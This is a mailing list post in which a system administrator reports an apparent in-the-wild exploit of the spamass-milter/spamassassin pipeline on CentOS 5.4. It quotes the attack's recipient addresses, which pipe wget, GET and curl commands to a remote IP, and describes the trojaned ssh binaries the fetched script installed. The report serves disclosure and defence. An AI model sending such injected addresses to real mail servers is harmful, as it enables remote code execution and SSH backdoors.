This is a heads-up that there might be an actively exploited vulnerability in either the spamassassin or spamass-milter package. I'm still unsure where the problem lies, but here's what I know.

The system described below runs x86_64 release of CentOS 5.4. SELinux was, at the time, in Permissive mode. The packages involved, as far as I can tell, are

 * spamassassin-3.2.5-1.el5.rf
 * spamass-milter-0.3.1-1.el5.rf
 * sendmail-8.13.8-2.el5 (not rpmforge, obviously)

Mar 15 05:47 (times are PDT): Several messages arrived with suspicious recipients:

 <root+:>
 <root+:"|wget http://61.100.185.177/busy-1.php";>
 <root+:"|GET http://61.100.185.177/busy-2.php";>
 <root+:"|curl http://61.100.185.177/busy-3.php";>

Sendmail recognized the addresses as syntactically evil, but a process running under the spamass_milter_t context ran wget, GET, and curl and connected to the IP address in the addresses above.

The file(s) downloaded by these processes executed a shell script. It did several things, the highlights of which are

 1. It downloaded, uncompressed, and untar-ed a file named
    xS.tar.gz. The resulting directory name was /xS.

 2. It tried to add a unix group and user named "sshd"; the attempt
    failed, probably because there's already an sshd user and group
    on the system.

 3. It installed 32-bit Linux executables in place of /usr/bin/ssh
    and /usr/sbin/sshd. The new executables were dynamically linked
    against a small number of libraries, but most of the supporting
    libraries had been compiled directly into the applications.

 4. It installed a minimal /etc/ssh/sshd_config and an empty
    /etc/ssh/ssh_config.

 5. After verifying that sshd was in the process table, it
    removed the /xS directory.

 6. It created an empty file name /dev/devno

 7. It restarted sshd using /sbin/service

Again, this was all done under the spamass_milter_t security context.

I don't know enough about the sendmail <-> spamass-milter <-> spamd pipeline to have a definitive idea about what application misparsed the piped e-mail addresses and executed them.

I saw the attack again this morning, but by then I'd cleaned things up and gotten SELinux back into Enforcing mode, which prevented the exploit from working again.

--
Paul Heinlein <> [email protected] <> http://www.madboa.com/
_______________________________________________
users mailing list
[email protected]
http://lists.rpmforge.net/mailman/listinfo/users

Reply via email to